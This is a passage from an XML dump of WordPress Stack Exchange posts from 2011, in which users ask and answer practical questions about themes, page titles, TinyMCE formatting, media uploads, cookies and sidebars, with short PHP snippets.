  <row Id="22273" PostTypeId="2" ParentId="22269" CreationDate="2011-07-07T12:31:35.930" Score="0" ViewCount="" Body="&lt;p&gt;I use this for showing the image title of every attachment in a post, linking to the image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;        $args = array(&#xA;          'post_type' =&amp;gt; 'attachment',&#xA;          'post_mime_type' =&amp;gt; 'image',&#xA;          'numberposts' =&amp;gt; -1,&#xA;          'post_status' =&amp;gt; null,&#xA;          'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;          'orderby' =&amp;gt; 'menu_order',&#xA;          'order' =&amp;gt; 'ASC'&#xA;          );&#xA;        $attachments = get_posts($args);&#xA;        if ($attachments) {&#xA;          foreach ($attachments as $attachment) {&#xA;            echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.wp_get_attachment_url($attachment-&amp;gt;ID).'&quot; rel=&quot;shadowbox&quot; title=&quot;'.$attachment-&amp;gt;post_excerpt.'&quot;&amp;gt;';&#xA;            echo $attachment-&amp;gt;post_title;&#xA;            echo '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;          }&#xA;        }&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5859" LastActivityDate="2011-07-07T12:31:35.930" CommentCount="3" />
  <row Id="22274" PostTypeId="2" ParentId="22268" CreationDate="2011-07-07T12:32:12.133" Score="2" ViewCount="" Body="&lt;p&gt;The basic idea for debug here is that theme apparently influences something it totally should not. Either something is done in a wrong way or in a wrong place.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Check that theme is not running any functionality directly in &lt;code&gt;functions.php&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check that all of theme's functionality runs on appropriate hooks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For hooks that are used both on front-end and back-end conditionally exclude theme's functionality that is not supposed to work on back-end.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-07T12:32:12.133" CommentCount="3" />
  <row Id="22275" PostTypeId="2" ParentId="22270" CreationDate="2011-07-07T12:35:58.563" Score="-1" ViewCount="" Body="&lt;p&gt;Echo out the JavaScript in your header.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;echo '&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;'; &#xA;&#xA;echo 'loads of JavaScript code';&#xA;&#xA;echo get_post_meta($post-&amp;gt;ID, 'video', true);&#xA;&#xA;echo '&amp;lt;/script&amp;gt;'; &#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6791" LastActivityDate="2011-07-07T12:35:58.563" CommentCount="3" />
  <row Id="22276" PostTypeId="1" CreationDate="2011-07-07T12:36:26.973" Score="0" ViewCount="25" Body="&lt;p&gt;What plugin should I use to add Microformats to my blog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that information about author, ratings and comments are picked up by the search engines?&lt;/p&gt;&#xA;" OwnerUserId="2588" LastActivityDate="2011-07-07T13:26:49.937" Title="What plugin should I use to add Microformats to my blog" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="22278" PostTypeId="2" ParentId="22257" CreationDate="2011-07-07T12:42:07.980" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;&amp;lt;?php wp_title(''); ?&amp;gt;&amp;lt;?php if(wp_title('', false)) { echo ' :: '; } ?&amp;gt;&amp;lt;?php  bloginfo('name'); if(is_home()) { echo ' :: '; bloginfo('description'); } ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nathanrice.net/blog/ultimate-guide-to-wordpress-seo-optimized-titles/&quot; rel=&quot;nofollow&quot;&gt;http://www.nathanrice.net/blog/ultimate-guide-to-wordpress-seo-optimized-titles/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works for me :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to avoid plugins where possible.&lt;/p&gt;&#xA;" OwnerUserId="5859" LastActivityDate="2011-07-07T12:42:07.980" CommunityOwnedDate="2011-07-07T12:42:07.980" />
  <row Id="22279" PostTypeId="2" ParentId="17358" CreationDate="2011-07-07T12:43:44.987" Score="1" ViewCount="" Body="&lt;p&gt;The code you have at the top of this page has a nested loop. Is that what you want?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code would normally go above the while loop for &quot;the_post()&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query_string;&#xA;query_posts( $query_string .'&amp;amp;posts_per_page=5' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This may not be your issue, but I thought it may help.&lt;/p&gt;&#xA;" OwnerUserId="6817" LastActivityDate="2011-07-07T12:43:44.987" CommentCount="7" />
  <row Id="22280" PostTypeId="2" ParentId="22259" CreationDate="2011-07-07T12:43:48.367" Score="1" ViewCount="" Body="&lt;p&gt;Check out the code for the &lt;em&gt;IntenseDebate comments system&lt;/em&gt; and make sure where the &lt;em&gt;Comments&lt;/em&gt; variable is initiated it looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__(&quot;Comments&quot;, &quot;your-theme&quot;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A double under-score denotes it to be translated. &quot;Comments&quot; is the interface element and &quot;your-theme&quot; is the theme translation initiator that should be in you functions.php theme file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Make theme available for translation&#xA;// Translations can be filed in the /languages/ directory&#xA;load_theme_textdomain( 'your-theme', TEMPLATEPATH . '/languages' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6791" LastActivityDate="2011-07-07T12:43:48.367" />
  <row Id="22281" PostTypeId="2" ParentId="22270" CreationDate="2011-07-07T12:47:18.890" Score="1" ViewCount="" Body="&lt;p&gt;Have a read through this article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://weblogtoolscollection.com/archives/2010/05/07/adding-scripts-properly-to-wordpress-part-2-javascript-localization/&quot; rel=&quot;nofollow&quot;&gt;Adding Scripts Properly to WordPress Part 2 – JavaScript Localization&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are doing here is passing your PHP values to the WordPress JS localization system. This then allows your JS code to get access to those variables you have passed.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-07-07T12:47:18.890" CommentCount="1" />
  <row Id="22282" PostTypeId="2" ParentId="22257" CreationDate="2011-07-07T12:48:56.450" Score="2" ViewCount="" Body="&lt;p&gt;Mine is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  function getDocumentTitle($separator = &quot; &amp;amp;laquo; &quot;){&#xA;&#xA;    $title = get_bloginfo('name');&#xA;    $desc = get_bloginfo('description');&#xA;&#xA;    if(is_front_page() &amp;amp;&amp;amp; is_home() &amp;amp;&amp;amp; !empty($desc)){&#xA;      $title .= $separator.$desc;&#xA;&#xA;    }elseif(is_home() || is_singular()){&#xA;      $id = $GLOBALS['wp_query']-&amp;gt;get_queried_object_id();&#xA;      if($meta = get_post_meta($id, 'title', true)) $title .= $separator.$meta;&#xA;      $title .= (empty($meta) &amp;amp;&amp;amp; is_front_page() &amp;amp;&amp;amp; !empty($desc)) ? $separator.$desc : $separator.get_post_field('post_title', $id);&#xA;&#xA;    }elseif(is_archive()){    &#xA;      if(is_category() || is_tag() || is_tax()){&#xA;        $term = $GLOBALS['wp_query']-&amp;gt;get_queried_object();&#xA;        $title .= $separator.$term-&amp;gt;name;&#xA;&#xA;      }elseif(is_author()){&#xA;        $title .= $separator.get_the_author_meta('display_name', get_query_var('author'));&#xA;&#xA;      }elseif(is_date()){&#xA;        if(is_day())&#xA;          $title .= $separator.sprintf(_a('Archive for %s'), get_the_time(apply_filters('doc_title_archive_day_format', 'F jS, Y')));&#xA;        elseif(get_query_var('w'))&#xA;          $title .= $separator.$separator.sprintf(_a('Archive for week %1$s of %2$s'), get_the_time('W'), get_the_time('Y'));&#xA;&#xA;        elseif(is_month())&#xA;          $title .= $separator.sprintf(_a('Archive for %s'), single_month_title(' ', false));&#xA;        elseif(is_year())&#xA;          $title .= $separator.sprintf(_a('Archive for year %s'), get_the_time('Y'));&#xA;&#xA;      }else{&#xA;        $title .= $separator.post_type_archive_title('', false);&#xA;&#xA;      }&#xA;&#xA;    }elseif(is_search()){&#xA;      $title .= $separator.sprintf(_a('Search results for %s'), '&amp;amp;quot;'.get_search_query().'&amp;amp;quot;');&#xA;&#xA;    }elseif(is_404()){&#xA;      $title .= $separator._a('404 Not Found');&#xA;&#xA;    }&#xA;&#xA;    // paged?&#xA;    if((($page = $GLOBALS['wp_query']-&amp;gt;get('paged')) || ($page = $GLOBALS['wp_query']-&amp;gt;get('page'))) &amp;amp;&amp;amp; $page &amp;gt; 1 &amp;amp;&amp;amp; !is_404())&#xA;      $title .= $separator.sprintf(_a('Page %s'), $page);&#xA;&#xA;    // comment page?&#xA;    if(get_query_var('cpage'))&#xA;      $title .= $separator.sprintf(_a('Comment Page %s'), get_query_var('cpage'));&#xA;&#xA;    // apply the wp_title filters so we're compatible with plugins&#xA;    return apply_filters('wp_title', $title, $separator, '');&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-07-07T12:48:56.450" CommunityOwnedDate="2011-07-07T12:48:56.450" />
  <row Id="22283" PostTypeId="2" ParentId="20215" CreationDate="2011-07-07T13:03:33.457" Score="1" ViewCount="" Body="&lt;p&gt;IMHO a better approach would be adding the remote server's directory as a locally mounted directory and use this as wp-content directory. Doing this on the block/filesystem level means that WordPress won't notice a thing, since it appears to WordPress as normal local directory. You may want to have a look at sshfs in order to mount the directory. Using this has the added benefits of:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;not having to put your ftp password in file &lt;/li&gt;&#xA;&lt;li&gt;no (slow/unreliable) php code having to act as ftp client&lt;/li&gt;&#xA;&lt;li&gt;no need for ftp an insecure protocol by itself&lt;/li&gt;&#xA;&lt;li&gt;no need for a ftp-server on the remote server &lt;/li&gt;&#xA;&lt;li&gt;no need to change WordPress config&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="637" LastActivityDate="2011-07-07T13:03:33.457" />
  <row Id="22284" PostTypeId="1" CreationDate="2011-07-07T13:25:58.013" Score="0" ViewCount="20" Body="&lt;p&gt;I have installed event-manage plugin which I must admit is done very nicely. However I have a problem. Events is a page and not posts. Which means every time a user visits my site he has to click on the &quot;Events&quot; link to see if new events have been created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I can set Events page as the default home page but then he wont be able to see the latest posts. How can I get the best of two worlds ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am happy with the current system where my posts are displayed in reverse chronological order. I just want the first post to be the event's page excerpt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am conversant with the wordpress as a technology and I am ready to get my hands dirty as well.&lt;/p&gt;&#xA;" OwnerUserId="6830" LastActivityDate="2011-07-07T13:25:58.013" Title="How to display a page and several posts on the homepage?" Tags="&lt;posts&gt;&lt;themes&gt;&lt;pages&gt;" />
  <row Id="22285" PostTypeId="2" ParentId="22276" CreationDate="2011-07-07T13:26:49.937" Score="1" ViewCount="" Body="&lt;p&gt;Depends on what theme you use - default &lt;em&gt;WordPress&lt;/em&gt; themes like &lt;em&gt;TwentyTen&lt;/em&gt; render standard &lt;em&gt;Microformat&lt;/em&gt; content as per what you require. Look around for a suitable theme.&lt;/p&gt;&#xA;" OwnerUserId="6791" LastActivityDate="2011-07-07T13:26:49.937" />
  <row Id="22287" PostTypeId="1" CreationDate="2010-08-16T09:09:34.123" Score="0" ViewCount="32" Body="&lt;p&gt;I cannot upload the .webm video format on Wordpress.&#xA;This is after adding:&#xA;AddType video/webm .webm&lt;/p&gt;&#xA;&#xA;&lt;p&gt;into both:&#xA;my .htaccess file (on the root folder of the wordpress installation)&#xA;the mime type handler of our apache server (via our site cpanel)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as i remember, at first this message instantly gave me the error, it would even begin uploading it. Now it uploads it all the way and then while crunching, i get the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;“1.webm” has failed to upload due to an error&#xA;File type does not meet security guidelines. Try another.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone else had this problem?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's really peculiar is that another video format called ogv (Theora) was not being recognised in the html5 player, BUT it wasn't breaching security according to wordpress.&#xA;So I added the mimetype to the apache (not via htaccess) and voila, it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the file actually 'Uploads', it 'Crunches' and then rejects the file, which is odd, surely wordpress would deduce it can't upload the file format by just checking which file format it is first?&lt;/p&gt;&#xA;" OwnerUserId="4700" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-07-07T14:24:21.580" LastActivityDate="2011-07-07T14:24:21.580" Title="Uploading .webm format on Wordpress results in security guidline breach and fail" Tags="&lt;security&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="22288" PostTypeId="2" ParentId="22287" CreationDate="2010-12-23T04:36:37.957" Score="0" ViewCount="" Body="&lt;p&gt;Are you using MU? Because I was having a similar problem; and it solved when I added the extension to the Super Admin &gt; Options &gt; Upload file types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Curiously, that option seems to me that it doesn't appear in a normal installation, so I don't know where to look for it.&lt;/p&gt;&#xA;" OwnerUserId="1055" LastActivityDate="2010-12-23T04:36:37.957" />
  <row Id="22289" PostTypeId="2" ParentId="20395" CreationDate="2011-07-07T14:17:10.010" Score="2" ViewCount="" Body="&lt;p&gt;Turns out WordPress doesn't deal well with post IDs &gt; 2^31.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/16445&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/16445&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tumblr in particular has post IDs greater than this, so it's not recommended to keep old post IDs from Tumblr on an import. &lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-07T14:17:10.010" />
  <row Id="22290" PostTypeId="2" ParentId="22185" CreationDate="2011-07-07T14:19:05.317" Score="1" ViewCount="" Body="&lt;p&gt;Turns out the answer is fairly simple (at least for WP Supercache).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use either PHP or legacy caching (ie not mod_rewrite)&lt;/li&gt;&#xA;&lt;li&gt;Turn on late init (either from the UI - recommended, or by setting &lt;code&gt;$wp_super_cache_late_init = 1;&lt;/code&gt; in &lt;code&gt;wp-content/wp-cache-config.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;code&gt;&amp;lt;!--dynamic-cached-content--&amp;gt;&lt;/code&gt; directive to wrap the content that should remain dynamic.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;An example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--dynamic-cached-content--&amp;gt;&amp;lt;?php&#xA;    display_high_contrast_link();&#xA;?&amp;gt;&amp;lt;!--&#xA;   display_high_contrast_link();&#xA;--&amp;gt;&amp;lt;!--/dynamic-cached-content--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the dynamic content has been added twice - from the &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-super-cache/faq/&quot; rel=&quot;nofollow&quot;&gt;WP Supercache FAQ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The first code is executed when the page is cached, while the second chunk of code is executed when the cached page is served to the next visitor. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-07-07T14:19:05.317" />
  <row Id="22291" PostTypeId="2" ParentId="22287" CreationDate="2011-07-07T14:23:44.250" Score="1" ViewCount="" Body="&lt;p&gt;On a multisite install, go to the Network Admin area and add the webm file extension to the allowed extensions list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a single-site install, add this to your wp-config.php file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;define('ALLOW_UNFILTERED_UPLOADS',true);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will allow administrator level users to upload files without the file type restrictions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The underlying problem is that webm hasn't been added to the filetypes list that WP knows about.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-07T14:23:44.250" />
  <row Id="22292" PostTypeId="1" AcceptedAnswerId="22309" CreationDate="2011-07-07T14:30:51.250" Score="0" ViewCount="46" Body="&lt;p&gt;I am trying to find a way to get the current page number of an article that has been splitted into several pages with the use of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- nextpage --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is an example that can be found here:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags#Testing_for_paginated_Pages&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Conditional_Tags#Testing_for_paginated_Pages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this doesn't work for me – it always returns 0:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged = $wp_query-&amp;gt;get( 'paged' );&#xA;echo $paged;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea? Thank you!&lt;/p&gt;&#xA;" OwnerUserId="6832" LastActivityDate="2011-07-07T16:07:17.483" Title="Get current page number of splitted article" Tags="&lt;paged&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="22293" PostTypeId="1" AcceptedAnswerId="22294" CreationDate="2011-07-06T23:53:17.247" Score="2" ViewCount="79" Body="&lt;p&gt;I'm starting a website (more complicated than a blog) and would appreciate advice on which framework to use. &#xA;A person on my team uses wordpress and is enthusiastic about its possibilities, but a friend who works on rails is lobbying against it (&quot;But it's for blogs!&quot;). Both can help me get started so I'll probably chose either wordpress or rails because of that. &#xA;The question is : which?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do : &#xA;The site is centered around comparing and commenting constitution articles. &#xA;Users will browse articles by country and by topic, comment and vote on the articles, suggest topics for the articles (=tag them), post their suggestions of articles.&#xA;Users will create polls (like Facebook questions more or less) that other users can answer. &#xA;I'd also like a forum section where they can start discussions about a given article or a topic.&#xA;Users will also post links/documents relevant to an article or topic.&#xA;I want my users to be registered, give me certain info (gender, age, country…) and then get statistics about who voted/commented on what articles (It will be helpful for research). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress looks cool because of how easy it looks to get something together and integrate plugins, even for a non-technical person, and there's a huge number of plugins. But it's designed for blogs so I'll probably run into trouble and do dirty hacks because what I want to do is not a blog.&#xA;Rails looks cool because it's designed to do things like that so I can get precisely what I want, but there aren't as many plugins, and it will require longer to code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll be spending the next 2 months on this, and when I leave the the person who has to take care of the site has little technical background (except wordpress), and I don't want to have to do heavy maintenance after I leave.&#xA;I'm not scared of learning, but I do have limited time and I'm the only developer (though I might get help from volunteers.). I might not get all the functionality I want before I leave, but I do need to get something together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is your opinion here? &#xA;Thanks for your help!&lt;/p&gt;&#xA;" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-07-07T19:39:10.483" LastActivityDate="2011-07-07T22:22:50.623" Title="Can I use wordpress for a non-blog site?" Tags="&lt;cms&gt;&lt;forum&gt;&lt;pre-sale&gt;" AnswerCount="4" />
  <row Id="22294" PostTypeId="2" ParentId="22293" CreationDate="2011-07-06T23:56:01.470" Score="7" ViewCount="" Body="&lt;p&gt;Your friend is a diva. WordPress started as a blog platform, but now it has grown beyond that and is encroaching on becoming a mid-tier content management system out of the box. If you like it and it is easy for you, use it. It seems to match up with what you are trying to do. Articles are essentially blog posts anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You wouldn't clean your dishes with an orbital buffer. Use what makes sense.&lt;/p&gt;&#xA;" LastActivityDate="2011-07-06T23:56:01.470" CommentCount="2" />
  <row Id="22295" PostTypeId="2" ParentId="22293" CreationDate="2011-07-07T00:14:33.460" Score="0" ViewCount="" Body="&lt;p&gt;Wordpress might work but you'd need another system to handle a Forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, it sounds like you might actually want a Forum solution for your entire project. Your forum could have and &quot;Official Talk&quot; which is moderated, and another category for open talk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple forum solution would be &lt;a href=&quot;http://vanillaforums.org/&quot; rel=&quot;nofollow&quot;&gt;Vanilla&lt;/a&gt;. It's simple by default but comes with a robust plugin architecture.&lt;/p&gt;&#xA;" OwnerUserId="6983" LastActivityDate="2011-07-07T00:14:33.460" CommentCount="1" />
  <row Id="22296" PostTypeId="1" CreationDate="2011-07-07T14:45:31.827" Score="0" ViewCount="209" Body="&lt;p&gt;In my wordpress theme, I have a custom options panel with textareas that utilize the tinymce script included with wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was working fine until I upgraded to the latest version of wordpress (3.2). Now the editor still works, however it is removing all paragraph and line-break tags once I save my code. While putting my text into the editor, it looks great and shows all line breaks in the preview, but once I save it those are all gone. Other tags (b, img, a) seem to be working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this may be an issue with wordpress, but on the same hand the wordpress upgrade also included the newest and latest version of Tinymce, so that may be causing the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I disable the Tinymce editor and use standard textareas, all the tags and line breaks get saved no problem.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;EDIT: Got it working. Needed to wrap&#xA;  my output values in wpautop() before&#xA;  saving. So now my value is&#xA;  wpautop($output[$option_array['id']]);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am using to initiate the Tinymce editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;wp_tiny_mce( false , // true makes the editor &quot;teeny&quot;&#xA;    array(&#xA;        'theme' =&amp;gt; 'advanced',&#xA;        'skin' =&amp;gt; 'default',&#xA;        'theme_advanced_resizing' =&amp;gt; 'false',&#xA;        'theme_advanced_path' =&amp;gt; 'false',&#xA;        'theme_advanced_buttons2' =&amp;gt; '',&#xA;        'theme_advanced_buttons1' =&amp;gt; 'code,bold,italic,underline,|,justifyleft,justifycenter,justifyright,forecolor,fontsizeselect,link,unlink,image',&#xA;         'width' =&amp;gt; '650px',&#xA;         'media_strict' =&amp;gt; 'false',&#xA;'valid_elements' =&amp;gt; '*',&#xA;'extended_valid_elements' =&amp;gt; '*',&#xA;)&#xA;);&#xA;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6560" LastEditorUserId="6560" LastEditorDisplayName="" LastEditDate="2011-07-07T15:28:37.110" LastActivityDate="2011-09-03T02:40:01.660" Title="Tinymce/Wordpress is removing all line-breaks?" Tags="&lt;metabox&gt;&lt;tinymce&gt;&lt;wordpress.org&gt;&lt;get-option&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="22297" PostTypeId="2" ParentId="22293" CreationDate="2011-07-07T14:47:12.607" Score="2" ViewCount="" Body="&lt;p&gt;I'd go for wordpress and use the &lt;a href=&quot;http://bbpress.org/&quot; rel=&quot;nofollow&quot;&gt;bbpress&lt;/a&gt; plugin for the forum. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my experience wordpress can be used to create lots of different sites. I've done so far, portfolios, corporate sites, blogs, galleries, fashion related sites, etc. All with wordpress. It's flexible enough for pretty much anything. And if a somebody in your team knows how to use it and has a good knowledge about it (from a theme modification and development point of view) then use this resource. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above all, wordpress has a huge community and tons of experts/plugins/themes.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-07-07T14:47:12.607" />
  <row Id="22298" PostTypeId="1" CreationDate="2011-07-06T21:51:06.413" Score="1" ViewCount="49" Body="&lt;p&gt;I need to download image from remote server and then associate it with my post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use WP function &lt;strong&gt;media_sideload_image&lt;/strong&gt; for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this function downloaded image from remote URL and placed it to right folder but didn't associate it with the post ID I entered. Any idea why ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used it this way: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;media_sideload_image('http://ww.example.com/image.png', $post_id, 'image description');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where $post_id is the actual ID of my post.&lt;/p&gt;&#xA;" OwnerUserId="1822" LastActivityDate="2011-07-07T14:48:11.923" Title="media_sideload_image function doesn't associate image with post in wordpress" Tags="&lt;image&gt;&lt;media&gt;" CommentCount="2" />
  <row Id="22299" PostTypeId="1" CreationDate="2011-07-07T14:48:14.403" Score="0" ViewCount="35" Body="&lt;p&gt;I have the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// in functions.php&#xA;register_sidebar(array(&#xA;    'before_widget' =&amp;gt; '&amp;lt;section&amp;gt;',&#xA;    'after_widget' =&amp;gt; '&amp;lt;/section&amp;gt;',&#xA;    'before_title' =&amp;gt; '&amp;lt;h3&amp;gt;',&#xA;    'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;',&#xA;));&#xA;&#xA;// in sidebar.php&#xA;if (!function_exists('dynamic_sidebar') || !dynamic_sidebar()) : ?&amp;gt;&#xA;    // static sidebar here ..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I find that the static sidebar is what renders even if I add widgets in the dashboard. I'm not sure if WP3.2 caused it as I never tried using dynamic sidebar before updating&lt;/p&gt;&#xA;" OwnerUserId="794" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-07-09T14:21:21.677" LastActivityDate="2011-08-09T18:21:35.973" Title="dynamic_sidebar not rendering sidebar" Tags="&lt;sidebar&gt;&lt;register-sidebar&gt;" AnswerCount="1" />
  <row Id="22300" PostTypeId="1" CreationDate="2011-07-06T11:39:43.590" Score="0" ViewCount="27" Body="&lt;p&gt;Cookie not set for WordPress site. I used below code in &lt;code&gt;functions.php&lt;/code&gt; for setting cookies.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_set_cookie() {&#xA;    //echo $_GET['signupcode'];&#xA;    if($_GET['signupcode'] != '') {&#xA;        setcookie(&quot;appsignupcode&quot;,$_GET['signupcode']);&#xA;    }&#xA;}&#xA;&#xA;add_action('init', 'my_set_cookie');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I used that cookies for redirected to some other page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($_COOKIE['appsignupcode'] !='' ) {&#xA;    $signupcode = $_COOKIE['appsignupcode'];&#xA;    header(&quot;Location: https://www.aps.com/app/signup.jsp?signupcode=$signupcode&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not working in WordPress. What's the problem?.&lt;/p&gt;&#xA;" OwnerUserId="6245" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-08-23T14:20:20.253" LastActivityDate="2011-08-23T14:20:20.253" Title="Cookies not set in Wordpress" Tags="&lt;cookies&gt;" CommentCount="3" />
  <row Id="22301" PostTypeId="1" AcceptedAnswerId="22308" CreationDate="2011-07-05T08:21:39.677" Score="0" ViewCount="43" Body="&lt;p&gt;On a Wordpress based website, when I add text using wordpress visual editor or HTML source to a particular page - it gives &quot;page not found error&quot;. I tried by adding some other text and its working fine. Then I typed all the text again and in between kept checking if it is giving any errors. Finally I am able to point to the exact word that is causing problem - from. If I put frm , rom or from it works. Only when I use &quot;from&quot; - it gives page not found error. Another thing, the error is only this page not on any other page. I have used &quot;from&quot; on many other pages and there is no problem at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its a client website and I do not have access to the server. I only have wordpress login/password. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I even tried HTML entities and it does not work. Right now we are using &quot;fróm&quot; instead of &quot;from&quot; as a workaround.&lt;/p&gt;&#xA;" OwnerUserId="6753" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-07T17:58:21.943" 